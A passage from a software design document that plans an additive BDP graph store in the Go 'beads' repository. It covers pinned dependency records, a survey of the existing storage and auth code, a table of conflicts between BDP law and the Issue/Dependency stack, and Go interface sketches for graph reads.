In-Scope and external references have + different canonicalization duties — the Go model captures them as a sum, + not a naked pair. +- Authorization views are closed projections, closed over owned Links. +- The Read problem table is closed vocabulary (including `resource-pruned` + and `resource-erased` — merged in gastownhall/bdp#16). + +## 0a. Current BDP and versioned-beads alignment (2026-09-09) + +This dated alignment updates the historical survey and P3 dependencies without +changing the ruled v0 scope: **graph Beads/Links only; no Issue projection**. +The original §0 Read pin above this historical alignment was superseded by +the dated P0 adoption record above. Neither pin is a claim that it +contains subsequent rulings. Donna's 2026-09-09 continuation authorizes +materialization on the condition that this design and P0 track both evolving +BDP and Jim's versioned-beads work, as recorded in the [operator continuation](https://github.com/donnabox/agent-coordination/blob/4fd57836ae052dec41b66493b88954bdabbb4d0f/context/janet/beads-workstream-state.md). The following are read/verified source +pins; the continuation and History ACK below are operator records, not +implementation pins. These dependency records do not authorize implementation +against moving drafts or treat draft PRs as merged dependencies. Before P3 +begins, its owner records a reviewed pin for the selected write profile in §0: +spec, bundle, problem rows, catalog, illustrative fixtures and executable matrix +(or its explicit pending status). The claim-specific evidence exit remains +required; a source pin alone cannot discharge it. + +The following tables preserve the **2026-09-09 and 2026-09-10 source snapshots**. +The 2026-09-12 refresh below supersedes their dependency statuses. + +| Source | Exact pin | State / graph consequence | +| --- | --- | --- | +| BDP #19 Read+Update | `06ebabdb391d8ea730295f4e01ed00bc1206fe38` | Draft; singleton/sequence envelopes, durable admission/outcomes, aliases and shared deleted identity now exist; P3 must adopt their reviewed selected-profile successor under the explicit write pin. | +| BDP #20 Transactional | `5c3f3b10a2edbb77d914b7260cdf035008fc34c7` | Draft; T1–T65 ruled, including unresolved admission, bounded direct comparison and same-epoch retraction retry without deadline reset; T57 implementation/evidence work remains. | +| BDP #22 wildcard / #23 numeric | `c201cc28f74c6f71212aaf7f25966aabf55fb97e` / `2c537a6f8a4f42e4fef0fa5d47439bcb25d2efe7` | Draft sources for the domain rules already incorporated ahead of P0's old wire pin; reviewed wire integration remains required. | +| BDP #24 named Read projection / #27 Read erasure correction | `87de37f673f83ec54989fdff4891bacc05730ea6` / `d68cc698f63cc114a41d7d965a8b6bebbfda8b3c` | Draft; preserve named-projection/coverage law and genuine successor evidence; port the narrow erased-pointer rejection to the Go wire boundary. | +| Jim #6147 Phase 0 | `9c4e7a8f1959582f07db3b87641cb33863fda860` | Open; contract hooks remain nil/skipped, not a working CAS/History implementation. | +| Jim #6304 Phase 1 | merge `2bb1e20de0f0072d7600656ea3cb7f606929dcc6` | Merged 2026-09-08; migration 0067 includes issue/wisp shape parity, ignored-series twin and raw-SQL replay / CLI override. | +| Jim #6358 Phase 2 | `5fdfb92fe544c9a83feb098e83f2ccdd87b896c8` | Open; current writer/inventory, superseding older incomplete call-site reports; 0068 reserves attribution and byte-preserving storage, not the deferred durable-address migration. | + + + +### Historical dependency refresh (2026-09-10) + +That docs-only successor incorporated Beads main +`a690b0a8c4d1ddc4f0bd9bf767499625dd71bc96`. It preserves both dependencies: +**BDP #19/#20 and Jim's versioned-beads work**. The source/check observations +below describe that date, not current readiness. + +| Source | Exact current source | State and phase consequence | +| --- | --- | --- | +| BDP Read foundation #29 | merge `19923f5bb6cc3f4ee4c508e36df3bd4c5c52344b`, source head `599361130bfaa07c2b5d157f3ecbe44f0691cb9e` | Merged 2026-09-10. Adopted by the P0 successor in the dated §0 record above, including bundle/projection/matrix pins and current-base checks. Wildcard, numeric, named-projection and erased-pointer corrections from #22/#23/#24/#27 are incorporated ancestries. The earlier design-only refresh did not perform this adoption. | +| BDP #19 Read+Update | merge `6d88f857cb643fe4e5d77e1dc45038a7d2e5ebb5`, source head `a2531e43baa5c6b27f22149b214326d8736e6198` | Merged 2026-09-10 wire/spec, without RU runtime. A P3 RU realization adopts a reviewed selected-profile pin and its own evidence; it need not wait for TX-only runtime. | +| BDP #20 Transactional | published PR head `5c3f3b10a2edbb77d914b7260cdf035008fc34c7`; reviewed local correction `0166ff8ef57c481f9ee8fb1223f728f12f9c75f4` (unpushed; no fetchable source pin) | Open draft at the published head. The local correction contains the reviewed G1–G5 HTTP clarification; it is not the remote PR head or a merged dependency. Shared Read HTTP implementation and fresh observations remain a gate before #20 lands. | +| Jim #6147 Phase 0 | `9c4e7a8f1959582f07db3b87641cb33863fda860` | Open; snapshot shows 117 successful, two skipped and two failed checks (PR Core and CI Gate / Required). Nil-hook contract scaffolding is not graph CAS or History realization; these failures are not automatically P0 blockers. | +| Jim #6304 Phase 1 | source `162a47703bb702d43e3192c79b6b802cf650d31d`, merge `2bb1e20de0f0072d7600656ea3cb7f606929dcc6` | Merged 2026-09-08, including 0067. Its historical head had 119 successful and one skipped checks. | +| Jim #6358 Phase 2 | `5fdfb92fe544c9a83feb098e83f2ccdd87b896c8` | Open; snapshot shows 121 successful and two skipped checks, with both CI Gate / Required checks successful. This is its own check evidence, not graph conformance. Migration 0068 remains reserved; graph P1 rechecks its actual slot. | + +### Current dependency refresh (2026-09-12) + +The Beads base remains `a690b0a8c4d1ddc4f0bd9bf767499625dd71bc96`. +The following source updates change dependency status, not the adopted P0 +Read contract or its historical verification results: + +| Source | Exact current source | State and phase consequence | +| --- | --- | --- | +| BDP #20 Transactional | merge `741829b6423ed70fd23676576459ad9f6215d027` | Merged wire/spec, including the shared G1–G5 HTTP clarification. The earlier local `0166ff8e` correction is historical. This is not TX runtime or a Beads profile adoption. | +| BDP #30 History | merge `1fe8cf32afabd02ca62d86548409f82dd756e357` | The selected History wire/spec materialization is merged. Server/client/adapter realization, provider mapping and capability advertisement remain separate work. | +| BDP Read runtime through #40 | main `eac6017541895bb4cb1399e1a8056bb7375b185c` | [Dated BDP status and evidence boundaries](https://github.com/gastownhall/bdp/blob/eac6017541895bb4cb1399e1a8056bb7375b185c/STATUS.md) record subsequent shared Read work and its named-target qualifications. Those observations are not Beads evidence and do not re-pin this P0 to the later bundle or matrix. | +| Jim #6147 / #6358 | `9c4e7a8f1959582f07db3b87641cb33863fda860` / `5fdfb92fe544c9a83feb098e83f2ccdd87b896c8` | Both remain open. #6304 and migration 0067 are merged; Phase 2 claims 0068. Their checks do not establish graph conformance. | +| Advisory registry #6149 | `71b82aa02abd1284ce3b7b6bffc5952b6d66a4f8` | Still open, not a slot allocator. Its [current rows](https://github.com/gastownhall/beads/blob/71b82aa02abd1284ce3b7b6bffc5952b6d66a4f8/CLAIMED.md) propose Phase 3 at 0069–0070 and graph at 0071 if Donna agrees, while the graph row still says 0069+. This overlap is unresolved; P1 must recheck the actual slot after its ADR and owner coordination. No number is selected here. | + +The adopted P0 Read input is the explicit #29 merge, with the complete §0 +adoption pins, source/fixture provenance and current Go boundary checks recorded +above. The original pin and results remain historical. P0 proves contracts; P2 must prove live Go Read +serving, current-view/owned closure, HTTP behavior and stable cross-request +cursors. The preserved #29 cohort does not prove the later G1–G5 prose. +P1 retains its storage/replication ADR gate; P3 retains its selected write-profile +ADR and evidence gate. Neither full TX runtime nor Jim's remaining phases are +blanket prerequisites for P0. + +Current main already corrects the +old `docs/recovery/init-safety.md` freshness date; the earlier failed check was +a historical branch-base result, not a standing current-main failure. + +**BDP ownership and phase boundaries** (citations below preserve the historical +draft pins; the P3 adoption re-verifies owning text at its selected write pin). [#19 Mutation results](https://github.com/gastownhall/bdp/blob/06ebabdb391d8ea730295f4e01ed00bc1206fe38/docs/specs/bdp.md#L2814-L2843) +requires the deleted Resource's final live revision in the `deletedIdentity` +schema carried as `result.deleted`; no version is minted by deletion. The +owned-Link result's `source` is the source Bead's absolute canonical URL and +`sourceRevision` is that Bead's resulting revision on create, update and delete. [#20 admission/comparison](https://github.com/gastownhall/bdp/blob/5c3f3b10a2edbb77d914b7260cdf035008fc34c7/docs/specs/bdp.md#L1225-L1308) +requires a durable execution owner and immutable creator-attempt binding separate from +the graph authority lease. Direct unresolved comparisons wait outside the DB +transaction under one finite budget; sequence precedence remains nonwaiting. +The graph lease and allocation ledger do not implement receipts, exactly-once +admission or the TX projected erasure ledger. P3 owns that realization, and +Read+Update does not wait for TX-only implementation. Before P3 implementation, +its ADR audits the selected profile's storage and interface needs against P1: +migration additions, state-version coverage, fence triggers, replication +inspection and fence/decorator censuses, plus any declared source break and +CHANGELOG migration under A8. The initial eight-table P1 scope is not a promise +that every future profile fits it. This audit mandates neither new tables nor +another interface widening; shipped migrations stay frozen and any necessary +addition follows migration discipline. P1 need not wait for the full P3 design. [T65](https://github.com/gastownhall/bdp/blob/5c3f3b10a2edbb77d914b7260cdf035008fc34c7/docs/specs/bdp.md#L5532-L5542) +scopes persistent Event-consumer erasure claims to the existing changefeed/ +snapshot-ledger integration; Event delivery alone is not that assurance. +The same continuation also ACKed manifest-handle retrieval, same-epoch receipt- +page URL restart survival, body-less 406 negotiation refusal and the initial +receipt/finite-feed validator policy. At the historical #20 pin these five HTTP +choices were pending materialization. The merged #20 source and subsequent +BDP shared Read work are recorded in the 2026-09-12 refresh above. The graph +wire/serving phases must deliberately adopt the applicable reviewed contracts +and prove them at the Beads boundary, including shared Read consequences. + +**Jim's current contribution and limits.** The [current writer](https://github.com/gastownhall/beads/blob/5fdfb92fe544c9a83feb098e83f2ccdd87b896c8/internal/storage/issueops/version_history.go#L24-L65) +records dependency changes and final outgoing dependency state. The [current +inventory](https://github.com/gastownhall/beads/blob/5fdfb92fe544c9a83feb098e83f2ccdd87b896c8/VERSIONED-BEADS-WRITE-PATHS.md#L9-L49) +distinguishes 27 seam call sites, 46 must-mint entry points and 21 versioned +paths out of 34 listed live paths; these counts are not interchangeable. +Remaining limits include unchanged re-import minting, UOW's per-repository-write +`1+N+M` versions versus the direct-leg composite operation, and stranded +delete/rename/demote history. `current_revision` is a store-local ordinal; +`version_id` and participation migration steps are not implemented at this pin. +The allocator is single-writer **at a time**, even within one store. None of +these facts licenses substituting the Issue writer for graph operation-local +revision, identity, ownership or transaction guarantees. Future C-lane work +should build on this contributor work while proving its translation, rather +than citing the old uninstrumented-writer survey as current evidence. + +**Translation constraints.** On the normal Dolt write path, its JSON column +rounds metadata numbers before a version row is minted; the content token +describes the stored state. Jim's [correction](https://github.com/gastownhall/beads/pull/6422#issuecomment-5620982279) +withdraws the stronger normal-path history-collapse claim; a divergence is +reachable only off that path. Their admission follow-up after #6358 and the +cross-PR canonicalizer policy remain separate contributor-owned work. Jim's +writer preserves the resulting JCS bytes in LONGBLOB. The [BDP numeric rule](https://github.com/gastownhall/bdp/blob/2c537a6f8a4f42e4fef0fa5d47439bcb25d2efe7/docs/specs/bdp.md#L644-L661) +refuses inadmissible values before BDP mutation acceptance. An Issue-to-BDP +mapping must be established before allocating its BDP revision; it cannot +round or rewrite already-addressed BDP state. Random graph revisions, local +Issue ordinals, future durable UUID addresses, content tokens and TX erasure +digests remain distinct. Jim's empty actor plus `unknown` is not a valid +present BDP attribution with an empty principal: preserve truthful absence +or explicitly mapped nonempty attribution. Its current NULL agent/message +columns and writer timestamp do not implement BDP's new context contract. +Its [Phase 0 vocabulary](https://github.com/gastownhall/beads/blob/9c4e7a8f1959582f07db3b87641cb33863fda860/backend/conformance/expected_revision_contract.go#L26-L83) +has nil hooks and treats Unretained/disclosure as a later axis; BDP separates +incomplete reconstruction from authorization. Local Hold contracts are not +BDP wire holds, and product test shapes are not BDP conformance observations. + +**History direction selected; wire materialization merged, realization pending.** Donna +ACKed the earlier sixteen core choices and the final twenty-two initial-History +choices on 2026-09-09; the [durable ACK and consolidated choices](https://github.com/donnabox/agent-coordination/blob/4fd57836ae052dec41b66493b88954bdabbb4d0f/context/janet/history-tx-complete-ballot-20260909.md) +record the selected alternatives. This is a dependency record for the approved 38-unit +direction, not a competing normative definition. The historical pins did not +contain its resulting schemas; #30 now supplies the merged materialization +at the source in the current refresh. This realization must adopt and prove +that contract separately. The following preserves the selected direction: + +- Complete optional History on all three profiles, canonical Bead/Link + revision resolution and stable `view=versions` enumeration; retained + addresses survive restore, while other token fences remain. Enumerate + all retained versions, newest authority-order first, distinguishing + replacement lineage and incomplete bodies; omit erased and unauthorized + metadata rows. Authorized deleted-subject enumeration remains available. +- Subject-history-gated diagnoses, bounded missing-state diagnostics with + explicit completeness, no refusal windows, aggregate participation claims, + advance retention guarantees, sync hints or wire holds initially. + Participation requires positive knowledge; absence does not prove pruning. + Whole historical success requires current disclosure permission for its + owned state, with no partial record. Unauthorized subject-history callers + receive uniform `resource-not-found` / 404. Preserve known truthful direct + predecessor/successor relations on retained replaced records; an authorized + `latest-version` may name the current authority version. Do not invent + adjacency between replaced and current lineages. +- Immutable change context now: authority-observed **commit time**, one + instant per atomic transaction and separate instants for committed sequence + members; optional per-operation assisting agent/message copied to every + version that operation mints. Context accompanies version records, retained + rows and matching version-bearing Events under their authorization and + erasure rules. No-op comparison excludes context; legacy absence stays + truthful. This applies to versions minted under History capability, not a + retroactive requirement on unrelated non-History implementations. +- Initial local-store erasure assurance does not advertise generic persistent + consumer replication. Imported retained copies require positively + established erasure status; unestablishable copies are rejected/discarded. + Required Gone evidence and applicable permanent erasure ledgers survive + recovery. Generic pre-removal administration and extra import metadata are + deferred, as are exact-byte witnesses, extra scheme mapping and the + alternative surviving-citation deletion lifecycle. +- `revision-unrepresentable` is selected for positively established inability + to serve an existing bound BDP value faithfully, distinct from missing + pieces, unknown provenance and temporary I/O. `revision-allocation-unsafe` + is the selected write-only persistent repair-required conflict; transient + safety-inspection failure retains its existing temporary-failure behavior. + Their profile/schema fan-out is in the merged #30 materialization recorded + at `1fe8cf32` in the dated §0a dependency table; adoption and runtime proof + remain separate. + Historical resolution never makes an old token a current write guard: the + existing `expectedRevision` equality/current-state law still applies. + +**P0 completion gate.** Preserve the historical pin/provenance and review +records. The §0 adoption at `19923f5b` satisfied the selected Read pin, +coordinated vendored-input/DTO parity, wildcard-tripwire replacement and +narrow erased-pointer exits. Subsequent repins must again update the +bundle/examples/fixtures/matrix/DTO parity together, preserve the narrow +`resource-erased` prohibition and harmless RFC 9457 extensions, and honor +#24's named Read projection and actual successor provenance. Do not relabel +old evidence or blindly vendor the whole TX bundle. Hosted review and +landing remain separate, as do P1 mechanisms, P2 serving proof and P3 +selected-profile adoption under §7. A contracts-only P0 can precede full P3 +and Jim Phase 3. No graph capability, readiness or merge grant follows from +this alignment text or from Jim's versioning flag. + +## 1. Goal and constraints + +Implement BDP in this repo: a first-class graph store the +protocol (and eventually the CLI) is implemented in terms of, beside — not +instead of — the existing Issue/Dependency machinery. + +Hard constraints, in priority order: + +1. **Zero compatibility degradation, defined precisely (amended 2026-09-07, + A8 option A):** *same-version* legacy behavior is byte-identical — every + existing CLI verb, JSONL interchange shape, journal record, and sync path + behaves exactly as before on the same binary, with gate (non-TTY) output + byte-identical. Out-of-tree `backend/` implementations take the **source + break the storage interface already declares** (six one-line + `ErrUnsupported` stubs for the `BeadGraph*` accessors, called out in + CHANGELOG with the stub migration, the joint ReadyClaimer/BatchCloser + entry being the precedent); once stubbed they behave exactly as before. Schema + migrations keep their existing version discipline (an upgraded database + is "ahead" of an older binary, which refuses to open it — that is the + *current* contract, and this plan does not promise more than the repo + already does). Mixed-version rollout beyond that is out of scope unless + ruled otherwise. +2. **BDP fidelity** at the pin, provable by the pinned matrix under its + packaged/public-boundary and self-certified/in-process provenance + split. +3. **One seam per axis.** Two different seams exist and must not be + conflated: an outer **authority seam** (which workspace/store, which + authorization view, which read snapshot — `ScopeResolver`) selects + exactly one scope; the **representation seam** (graph store vs projected — + `unionscope`) is C-lane future work now that the v0 projection is + withdrawn (§5) — in v0 the resolver fronts the graph store directly. + Call sites see `graphops` interfaces; composites are the only + switches. + +## 2. What exists (survey — corrected after adversarial verification) + +- **Storage contract:** `internal/storage/storage.go` defines `Storage` as + **28 role accessors** (IssueLifecycle, IssueReader, IssueClaimer, + ReadyClaimer, BatchCloser, BatchCreator, DependencyEditor, Commenter, + Counter, Memories, …), each returning a role interface. Implementations: + `*dolt.DoltStore` under decorator chains (`hook_*.go`, telemetry) plus a + distinct **UOW/provider** chain. Documented policy: adding a required + `Storage` method breaks out-of-tree implementers. +- **Optional-capability idiom — with teeth:** bare type assertions on a + decorated store are a KNOWN BUG CLASS here: decorators embed an interface, + so methods outside it are not promoted; the repo requires `UnwrapStore` + peeling before optional assertions (`hook_decorator.go:160`) and carries a + regression test for exactly the silent-skip failure + (`cmd/bd/vc_recompute_test.go`). `bd serve` assembles a deliberately + narrow role source (drops hooks, keeps telemetry) — full unwrapping there + would change semantics. +- **Backends actually in tree:** server Dolt, embedded Dolt, and the + UOW/proxied path. **SQLite is gone** (`cmd/bd/backend_support.go`); + `backend/conformance` exists but `RunAll` openly does not exercise version + control, sync, or federation families. `backend/` has a completeness guard + requiring public aliases for every internal type reachable through the + contract. +- **Read paths are not snapshots, and not even read-only:** role reads open + a transaction per call (`dolt/store.go withReadTx`); issue paging is + offset-oriented and finalized above storage; and "ready" reads run an + advisory WRITE (waking expired defers) on server, embedded, and UOW paths; + even `OpenForReadOnlyCommand` returns a writable store. +- **Data model:** `Issue` (`internal/types/types.go:17–190`) is very wide + (well over 40 exported fields), `Metadata json.RawMessage` as extension + point, `RowVersion int64` equality-only with documented partial coverage. + `Dependency`: surrogate `ID` populated only by some read paths, endpoints, + `Type`, `Metadata` as **string**, `ThreadID`, **no revision**; + `depid.New(issueID, target)` keys on endpoints only — no type — so at most + one edge per (source, target) pair, and delete/recreate would reuse the + projected URL. +- **v0 REST precedent is narrow:** detail is the only **read** + representation carrying `revision` (`GET /v0/beads/issues/{id}`); + list/JSONL explicitly forbid it, while guarded **mutation** responses + (update, close) also return their resulting revision. The + HTTP layer maps ordinary typed errors to generated Problem DTOs centrally + (`internal/httpapi/problem.go`) — the house pattern this plan follows. +- **Auth today:** bearer tokens grant the whole surface and carry no user + identity or scopes (`internal/httpapi/auth.go`); routes run one + table-driven middleware path (auth, project identity, deadlines, + concurrency). Any BDP serving must preserve those semantics regardless of + listener choice. +- **Wisps:** same `Issue` struct routed to a second table by storage-class + flags; detail assembly carries `isWisp` explicitly and resolves + issue-then-wisp; the two tables share one logical ID space enforced by + transactional sibling checks (`cross_table_id_collision_test.go`). Wisps + are **private/transient: excluded from export and federation by default** — + so they are a policy decision for BDP serving, not a free rider. +- **The type shoehorn precedent:** `IssueType` is an open vocabulary + (decision, message, molecule, gate, event, plus `types.custom`); + `issue_type NOT IN` filters exist. Non-task semantics on the Issue chassis + is proven practice. +- **Memories:** `memoryops` is a separate key/value plane with its own role. + **Operator ruling 2026-09-01 (external to this tree): the memory system is + legacy** — successor is Memory-typed Beads on this graph; no new + investment. Note `Memories()` remains wired in `bd serve` today; retiring + it is future work outside this plan. +- **Charter tension, named honestly:** `engdocs/PROJECT_CHARTER.md` frames + beads as a focused issue tracker and prefers metadata over new schema for + extension concepts. A general graph store is a product-scope expansion. + **P-1 decision #1 is an explicit charter ADR** — this plan does not + proceed on implication. +- (Correction from v1: `internal/storage/domain` is UOW-specific machinery + over `types.Issue` and `.beads`-directory concerns, not a generic domain + landing zone. The graph package lands as its own leaf package.) + Two consequences, stated so "no new investment" is not misread: Memory-typed + Beads' change feed lands on the **graph plane** (ruling 8's changefeed, P3), + not on the journal; and the legacy `bd remember` / `bd recall` / + `bd memories` / `bd forget` surfaces survive as **projections over + `graphops` after P3**, which is the compatibility projection #5877 R24/R25 + describe. + +## 2b. Where BDP and the Issue/Dependency stack disagree + +The conflict inventory, consolidated. Each row is a law of the pinned BDP +spec set against behavior verified in the original survey; dated §0a +qualifications identify later contributor progress, not a retraction of the +historical observations; the last column says what the +conflict costs. This section is why the v0 projection was withdrawn (§5) +and is the requirements list for any C-lane path. + +| Area | BDP law (pinned) | Current Issue/Dependency stack | Consequence | +| --- | --- | --- | --- | +| Revision coverage | Every record read serves an opaque, equality-only revision; every state-changing operation on a surviving Resource mints a fresh one; a semantic no-op mints none | `RowVersion` has documented partial coverage (direct-UPDATE text paths bypass it); label writes touch only the labels table; revision is served on the detail read and mutation responses only — list/JSONL forbid it | No existing token can stand in for a BDP revision | +| Reverse transitions | A→B→A is three distinct revisions | `updated_at` is second-precision `DATETIME` with documented same-second ties; `bd import --allow-stale` restores old rows including timestamps | State-derived revisions are impossible (r5 blocker) | +| Out-of-band writes | (Implementation constraint, not spec text: BDP's revision/identity laws presuppose the authority observes every mutation) | `bd sql` permits arbitrary direct SQL; compaction rewrites text in place; backup/restore resurrects historical state | No complete mutation feed exists; only funnel (C1/C3) or storage-level observation (C2) can close it; for the graph tables, ruling 13's row-level fence plus the state-change validator | +| Identity non-reuse | Committed Resource URLs are never reassigned — surviving deletion and epoch changes | Same-ID delete/recreate is permitted; import UPSERTs over existing IDs and accepts caller-supplied historical `created_at`; rename (delete+create) can A→B→A-reactivate an ID | Legacy IDs cannot be BDP URLs without a durable allocation/tombstone mechanism the stack lacks | +| Attribution (bdp#18, merged 2026-09-07) | A carried per-version `attribution {principal, status ∈ claimed\|unknown}` — data, not evidence; supplied by every version-minting operation; outside `properties`; excluded from the no-op comparison | Issues carry `created_by` and per-field audit rows; no per-version carrier; bd's later versions cannot name their author | The bd realization maps `created_by` to a claimed principal with status `unknown` for later versions; the graph store carries the member natively (spec B4 attribution columns) | +| ID grammar | Creation-time canonical IDs, multi-segment supported, reject-don't-trim | Configurable prefix grammar + adaptive-length collision-probability IDs; validation checks prefix shape, not BDP path grammar | Eligibility/surrogate policy required before any legacy ID is served (C lane) | +| Type system | One immutable nominal declared Type per Resource; descriptors with `conformsTo`; a Type describes beads or links, never both | `issue_type` is an ordinarily mutable column; open string vocabulary via `types.custom`; no descriptors, no hierarchy | Type immutability is violated by ordinary updates (r5); descriptor catalog must be built | +| Edge multiplicity | Links are first-class; no uniqueness constraint on (type, source, target) | `depid.New(issueID, target)` — at most ONE edge per (source, target) pair, type excluded from the key | Dependencies structurally cannot represent BDP Links (S2 killer #1) | +| Edge versioning | Every Link carries its own revision; owned-Link mutations version the source | Historical survey: Dependencies carry no revision; dependency edits never touch the source Issue's `row_lock`; `Metadata` is a `string`, surrogate `ID` populated only on some read paths. Current-source qualification (2026-09-09, §0a): Jim versions the source through `current_revision` / `issue_versions`, a different witness from `row_lock`, including its outgoing dependency state | Dependencies still lack independent BDP revisions and endpoint-key multiplicity; source witnessing has progressed, but does not establish the BDP owned-Link contract | +| Snapshot reads | Collection cursors continue ONE logical projected snapshot across requests, bound to an authorization view | Per-call read transactions (`withReadTx`); offset pagination finalized above storage; "read-only" paths write (defer-wake); `OpenForReadOnlyCommand` returns a writable store | BDP Read semantics need a new snapshot port; existing role readers cannot serve it | +| Authorization | Per-request Authorization View — a closed projection, closed over owned Links; uniform 404 nondisclosure | Bearer token grants the whole surface; no identity, no scopes, no view concept | View mapping is a P-1 design, not a translation | +| Deletion lifecycle (Read profile) | Logical identity non-reuse survives deletion; `resource-pruned`/`resource-erased` disclosure vocabulary on reads | Deletion frees the ID for reuse; no disclosure vocabulary | The gone-family Read contract must be built in the graph store | +| Deletion lifecycle (Transactional) | Deletion results report deleted identity; tombstones and erasure records propagate on the changefeed | No tombstones; no erasure machinery | Transactional-profile obligations; arrive with P3 writes | +| Changefeed (Transactional profile) | Change Groups at Scope positions, projection advances, erasure records, no-Event erasures | The journal has a frozen vocabulary limited to Issue/Dependency/Comment payloads, emitted structurally inside issue mutations | Frozen journal stays untouched; the graph gets its own changefeed (§4 matrix) | +| Content model | One authored JSON properties OBJECT per Resource, schema-validated per Type | Typed columns (status enums, priority int, timestamps) plus a `Metadata` blob | The column→properties mapping is a design artifact (the C lane inherits §5's table) | +| Multi-writer history (Transactional/history contract) | One serialized serving authority per Scope; independently writable replicas and multi-authority merge of one Scope history are excluded | Independently writable Dolt clones merging later is a normal workflow | Decision 9: authority rule; foreign-clone graph merges out-of-contract | + +## 3. Thrust 1 — the abstract data model (Go) + +**What Go gives us:** structurally-satisfied interfaces — Java-interface +shape, Rust-trait spirit (implicit satisfaction, declared where consumed), +capability discovery by type assertion, composition by embedding. The repo's +role-accessor style is already exactly this idiom; `graphops` speaks it. + +Two layers, strictly separated (review Blocker 1/High 6): + +- **Wire DTOs are generated from the pinned BDP schema bundle** — the + protocol layer serializes those, and only the BDP handler maps domain + errors to generated Problem records. +- **Domain values are immutable and JSON-faithful:** + +```go +package graph + +// Properties is an immutable authored JSON OBJECT value (BDP properties +// are objects, not arbitrary documents): backed by copied raw bytes; +// rejects duplicate keys; preserves numbers (no float64 laundering); +// deterministic encoding; and provides the RFC 6902 §4.6 semantic-equality +// check that gates revision minting (a no-op write MUST NOT mint). +type Properties struct{ /* unexported: raw []byte + parsed index */ } + +// Ref is a sum, not a naked pair: an in-Scope reference (canonicalized at +// admission, resolvable locally) or an external one (opaque, preserved +// byte-identically). Both may carry an equality-only pin. +type Ref struct{ /* unexported discriminant; constructors enforce */ } + +type Revision string // opaque, equality-only + +type Bead struct { /* unexported fields; accessors */ } +// ID, Type (immutable), Revision, Properties. +// NOTE: ownedLinks is not physically duplicated inside the immutable +// authored Bead value — but it IS semantically covered Bead state. The +// port assembles it from the Links themselves, in the same snapshot, and +// EVERY record projection — singleton, collection item, selection item — +// returns a BeadRecord carrying the complete ownedLinks expansion, one +// entry per declared owned type, empty entries included. (Coverage — +// owned-Link mutations versioning the source — is a storage-transaction +// law, not a struct field.) + +type Link struct { /* unexported; ID, Type, Revision, Source, Target Ref, Properties */ } + +type TypeDescriptor struct { /* ID, Name, Describes, ConformsTo, PropertiesSchema, OwnsOutgoing{Label,Max}, endpoint constraints */ } +``` + +Laws in the package, tested once: canonical-ID grammar (reject-don't-trim), +canonical-URI ordering, owned-Link trigger law (as invariant checks the +storage transactions call), semantic no-op equality. BDP problem-code +constants live in the generated protocol layer, NOT here — the domain stays +transport-neutral and speaks typed Go errors. + +```go +package graphops + +// Scope answers Reads within ONE resolved (workspace, authorization view, +// read snapshot). Errors are ordinary typed Go errors — transport-neutral; +// the BDP handler maps them to Problems. +type Scope interface { + // BeadRecord = Bead + its complete ownedLinks expansion, assembled in + // the SAME snapshot. Collections return records too — for a Bead whose + // Type owns, the member is never elided from any projection (absent + // exactly when the Type owns nothing). Acceptance also asserts each + // inlined Link's type equals its entry key and source equals the + // containing Bead — mirroring the BDP parser's contextual laws. + // Plan-owned collection tests enforce all of it (the external matrix + // validates the schema but does not force the optional member's + // presence on every item). + Bead(ctx context.Context, id string) (graph.BeadRecord, error) + Link(ctx context.Context, id string) (graph.Link, error) + Beads(ctx context.Context, q CollectionQuery) (Page[graph.BeadRecord], error) + Links(ctx context.Context, q CollectionQuery) (Page[graph.Link], error) + IncidentLinks(ctx context.Context, bead string, d Direction) (Page[graph.Link], error) + Types(ctx context.Context) ([]graph.TypeDescriptor, error) +} +``` + +### The layering, in one picture + +```text +bd serve (HTTP/BDP) generated DTOs; error→Problem mapping + │ +ScopeResolver ← OUTER authority seam: picks workspace/store, + │ authorization view, and ONE ReadSnapshot +graphops.Scope (per snapshot) ← the "trait" + ├─ graphstore ← v0: S1 tables, the only realization + ├─ (unionscope + issueproj)← C-lane future, when Issues move into the graph store + └─ (tests, CLI later) +``` + +**ReadSnapshot is a first-class port**: one SQL transaction (or UOW unit) +backs all reads a request makes against the graph store. BDP cursors must +continue one logical projected snapshot; per-call `withReadTx` role reads +cannot provide that, so graph reads run their own snapshot-scoped queries. +Cursors bind (snapshot, view). Graph reads never call readiness roles and +never use writable "read-only command" opens (the defer-wake write is +exactly what a Read surface must not trigger). (Union cursors with per-leg +continuation are C-lane machinery, recorded in §5's historical record.) + +## 4. Thrust 2 — storage: additive, capability-resolved, no breaking change + +> **Superseded mechanisms (2026-09-02, W-arch v2).** The mechanisms this +> section proposes — `GraphCapable` as a separate optional interface, the +> `graphsource` resolvers, the `ReadSnapshot` lease, `backend/` aliases, +> and the `bd serve` optional graph field — are replaced by the house +> idiom in `BDP_GRAPH_ARCHITECTURE.md` §2a (role accessors on +> `storage.Storage`, `DBTX`-shaped shared bodies, per-call transactions +> asserting a store-owned authority witness, BDP rows mounted inside `httpapi`). +> The *rulings* this section serves are unchanged except where §9's +> "Amendments proposed by W-arch" block says otherwise. The text below is +> kept as the record of what was proposed and why. + +Not a bare assertion (review Blocker 3). One resolution policy with a +**typed** source — no `any` — and, per round 3, NO `UnwrapStore`: +`UnwrapStore` peels every `Unwrapper` including telemetry, which is exactly +what `bd serve` refuses ("never storage.UnwrapStore" — it performs one +concrete hook peel and keeps telemetry, `cmd/bd/serve.go:671`). Resolution +follows that model — targeted single-layer peels, each named in the result: + +```go +package graphsource // internal/storage/graphsource + +// graphops.GraphReadSource is what a plumbing stack must yield to serve +// graph reads: the snapshot opener plus the telemetry it must retain. +// (Full contract in "The storage interfaces, concretely" below: +// ErrGraphUnsupported = absence; any other error = operational failure.) +func ResolveGraphReadSource(s storage.Storage) (graphops.GraphReadSource, error) +func ResolveGraphReadSourceFromUOW(p uow.UnitOfWorkProvider) (graphops.GraphReadSource, error) +``` + +With regression tests mirroring `vc_recompute_test.go` for: hook+telemetry +chains (asserting telemetry RETAINED while exactly the hook layer peels), +the notifying UOW provider, and `bd serve`'s narrow role source. +(The resolver PAIR — `ResolveGraphReadSource` for the store arm, +`ResolveGraphReadSourceFromUOW` for the provider arm — is the name; P1 +uses both.) +Realization legs in tree — with the transport distinction the tree +enforces: **`bd serve` refuses embedded Dolt permanently** (its commit +protocol cannot satisfy the server's per-request atomicity contract, +`cmd/bd/serve.go:546`); it serves from server-Dolt/UOW **and registered +backends' store sources** (`serve.go:563`). **Embedded Dolt is a +storage-contract conformance leg, not a `bd serve` transport leg**; serving +BDP from an embedded workspace would need a separately ruled read-only +listener. (SQLite removed from the plan.) **And any registered provider +implementing the graph contract is a first-class leg** — proven by the same +conformance suite the Dolt realization must pass. Accordingly the graph +capability is part of the PUBLIC `backend/` contract from P1: `graphops` +types get public aliases, 